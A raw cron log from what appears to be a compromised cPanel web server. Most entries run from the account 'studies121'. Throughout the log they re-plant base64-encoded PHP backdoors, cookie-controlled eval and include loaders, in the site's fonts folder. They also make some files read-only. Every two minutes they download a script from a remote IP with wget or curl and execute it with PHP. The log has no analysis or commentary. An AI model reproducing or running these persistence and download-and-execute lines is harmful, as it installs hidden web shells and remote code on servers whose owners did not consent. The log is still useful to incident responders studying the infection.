Sep  1 08:37:01 ip-184-168-122-23 CROND[21735]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 08:37:01 ip-184-168-122-23 CROND[21737]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 08:37:01 ip-184-168-122-23 CROND[21736]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 08:37:01 ip-184-168-122-23 CROND[21739]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 08:38:01 ip-184-168-122-23 CROND[21914]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 08:38:01 ip-184-168-122-23 CROND[21918]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 08:38:01 ip-184-168-122-23 CROND[21920]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 08:38:01 ip-184-168-122-23 CROND[21922]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 08:38:01 ip-184-168-122-23 CROND[21925]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 08:39:01 ip-184-168-122-23 CROND[22060]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 08:39:01 ip-184-168-122-23 CROND[22066]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 08:39:01 ip-184-168-122-23 CROND[22064]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  1 08:39:01 ip-184-168-122-23 CROND[22062]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 08:39:01 ip-184-168-122-23 CROND[22065]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 08:40:01 ip-184-168-122-23 CROND[22189]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 08:40:01 ip-184-168-122-23 CROND[22194]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 08:40:01 ip-184-168-122-23 CROND[22195]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 08:40:01 ip-184-168-122-23 CROND[22192]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 08:40:01 ip-184-168-122-23 CROND[22197]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 08:40:01 ip-184-168-122-23 CROND[22196]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 08:40:01 ip-184-168-122-23 CROND[22193]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 08:40:01 ip-184-168-122-23 CROND[22198]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 08:41:01 ip-184-168-122-23 CROND[22298]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 08:41:01 ip-184-168-122-23 CROND[22299]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 08:41:01 ip-184-168-122-23 CROND[22300]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 08:41:01 ip-184-168-122-23 CROND[22301]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 08:42:01 ip-184-168-122-23 CROND[22398]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 08:42:01 ip-184-168-122-23 CROND[22399]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 08:42:01 ip-184-168-122-23 CROND[22401]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 08:42:01 ip-184-168-122-23 CROND[22400]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 08:42:01 ip-184-168-122-23 CROND[22403]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 08:43:01 ip-184-168-122-23 CROND[22552]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 08:43:01 ip-184-168-122-23 CROND[22554]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 08:43:01 ip-184-168-122-23 CROND[22555]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 08:43:01 ip-184-168-122-23 CROND[22556]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 08:44:01 ip-184-168-122-23 CROND[22743]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 08:44:01 ip-184-168-122-23 CROND[22745]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 08:44:01 ip-184-168-122-23 CROND[22748]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 08:44:01 ip-184-168-122-23 CROND[22746]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 08:44:01 ip-184-168-122-23 CROND[22747]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 08:45:01 ip-184-168-122-23 CROND[22867]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 08:45:01 ip-184-168-122-23 CROND[22868]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 08:45:01 ip-184-168-122-23 CROND[22869]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 08:45:01 ip-184-168-122-23 CROND[22873]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_mailman_cache && /usr/local/cpanel/scripts/update_mailman_cache)
Sep  1 08:45:01 ip-184-168-122-23 CROND[22874]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 08:45:01 ip-184-168-122-23 CROND[22875]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 08:45:01 ip-184-168-122-23 CROND[22876]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 08:46:01 ip-184-168-122-23 CROND[22975]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 08:46:01 ip-184-168-122-23 CROND[22979]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 08:46:01 ip-184-168-122-23 CROND[22977]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 08:46:01 ip-184-168-122-23 CROND[22980]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  1 08:46:01 ip-184-168-122-23 CROND[22981]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  1 08:46:01 ip-184-168-122-23 CROND[22982]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 08:46:01 ip-184-168-122-23 CROND[22978]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 08:47:01 ip-184-168-122-23 CROND[23103]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 08:47:01 ip-184-168-122-23 CROND[23105]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 08:47:01 ip-184-168-122-23 CROND[23106]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 08:47:01 ip-184-168-122-23 CROND[23104]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 08:48:01 ip-184-168-122-23 CROND[23217]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 08:48:01 ip-184-168-122-23 CROND[23218]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 08:48:01 ip-184-168-122-23 CROND[23220]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 08:48:01 ip-184-168-122-23 CROND[23222]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 08:48:01 ip-184-168-122-23 CROND[23223]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 08:49:01 ip-184-168-122-23 CROND[23414]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 08:49:01 ip-184-168-122-23 CROND[23416]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
